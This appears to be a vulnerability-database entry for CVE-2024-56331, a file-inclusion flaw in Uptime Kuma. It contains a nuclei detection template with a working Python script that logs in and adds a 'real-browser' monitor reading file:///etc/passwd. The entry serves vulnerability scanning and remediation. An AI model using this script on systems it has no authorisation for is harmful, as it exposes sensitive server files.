Browse / CVEs / CVE-2024-56331
CVE-2024-56331· uptime-kuma / uptime-kuma· CWE-22
Uptime-Kuma - Local File Inclusion (LFI)
Uptime Kuma has an Improper URL Handling vulnerability that can be exploited through the "real-browser" feature. By providing a URL using the file:/// protocol (e.g., file:///etc/passwd), an attacker can obtain a screenshot of local sensitive files, because the user input is not validated by the server.
Impact
An authenticated user can exploit this vulnerability to access arbitrary local files by leveraging the "real-browser" feature, leading to potential information disclosure of sensitive system files.
Fix
This vulnerability is fixed in version 1.23.16. Users are advised to upgrade to the latest version.
How to confirm it
Positive when: contains "/etc/passwd: {'ok': True, 'msg': 'successAdded'"Run it with nuclei: nuclei -id CVE-2024-56331 -u <target>
The full check
id: CVE-2024-56331
info:
name: Uptime-Kuma - Local File Inclusion (LFI)
author: hyni03
severity: critical
description: |
Uptime Kuma has an Improper URL Handling vulnerability that can be exploited through the "real-browser" feature.
By providing a URL using the file:/// protocol (e.g., file:///etc/passwd), an attacker can obtain a screenshot
of local sensitive files, because the user input is not validated by the server.
impact: |
An authenticated user can exploit this vulnerability to access arbitrary local files by leveraging
the "real-browser" feature, leading to potential information disclosure of sensitive system files.
remediation: |
This vulnerability is fixed in version 1.23.16. Users are advised to upgrade to the latest version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-56331
- https://github.com/griisemine/CVE-2024-56331
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 6.8
cve-id: CVE-2024-56331
cwe-id: CWE-22
epss-score: 0.01845
epss-percentile: 0.79222
metadata:
verified: true
shodan-query: http.title:"Uptime Kuma"
product: uptime-kuma
vendor: uptime-kuma
tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln
variables:
username: "{{username}}"
password: "{{password}}"
HOST: "{{Hostname}}"
code:
- engine:
- py
- python3 # Requires python installation on the system
source: |
import os
import time
try:
import socketio
except ImportError:
raise ImportError("The 'socketio' library is not installed. Please install it using 'pip install python-socketio'.")
# Load environment variables
USER = os.getenv('username')
PASS = os.getenv('password')
HOST = os.getenv('HOST')
PORT = os.getenv('PORT')
# Configuration settings
CONFIG = {
"server_url": f"ws://{HOST}",
"credentials": {"username": USER, "password": PASS},
"request_types": {"real_browser": "real-browser", "http": "http"},
"url_prefix": {"view_source": "view-source:file://", "file": "file://"}
}
TARGET_FILES = ["/etc/passwd"]
client = socketio.Client()
def connect_to_server(url, retries=3, delay=2):
for attempt in range(retries):
try:
client.connect(url, wait_timeout=10)
print(f"[+] Connected to: {url}")
return True
except Exception as e:
print(f"[!] Connection attempt {attempt + 1}/{retries} failed: {e}")
time.sleep(delay)
return False
try:
if not connect_to_server(CONFIG["server_url"]):
print("[!] Unable to connect to the server. Exiting.")
exit(1)
# Attempt login
login_resp = client.call("login", {
"username": CONFIG["credentials"]["username"],
"password": CONFIG["credentials"]["password"]
}, timeout=10)
if login_resp and login_resp.get("ok"):
print("[+] Login successful")
# Process each sensitive file request
for file_path in TARGET_FILES:
req_type = CONFIG["request_types"]["real_browser"]
# Use view-source prefix in real-browser mode
url_prefix = CONFIG["url_prefix"]["view_source"] if req_type == CONFIG["request_types"]["real_browser"] else CONFIG["url_prefix"]["file"]
target_url = f"{url_prefix}{file_path}"
print(f"[~] Sending {req_type} request for: {target_url}")
add_payload = {
"type": req_type,
"name": f"{req_type} request for {file_path}",
"url": target_url,
"method": "GET",
"maxretries": 0,
"timeout": 500,
"ignoreTls": True,
"accepted_statuscodes": ["200-299"],
"conditions": "[]"
}
response = client.call("add", add_payload, timeout=15)
print(f"[+] Response for {file_path}: {response}")
else:
print("[!] Login failed. Please check credentials.")
except Exception as err:
print(f"[!] An error occurred during execution: {err}")
finally:
client.disconnect()
print("[*] Disconnected from the server")
matchers:
- type: word
words:
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"References
Use this check only on systems you are authorised to test. Where the data comes from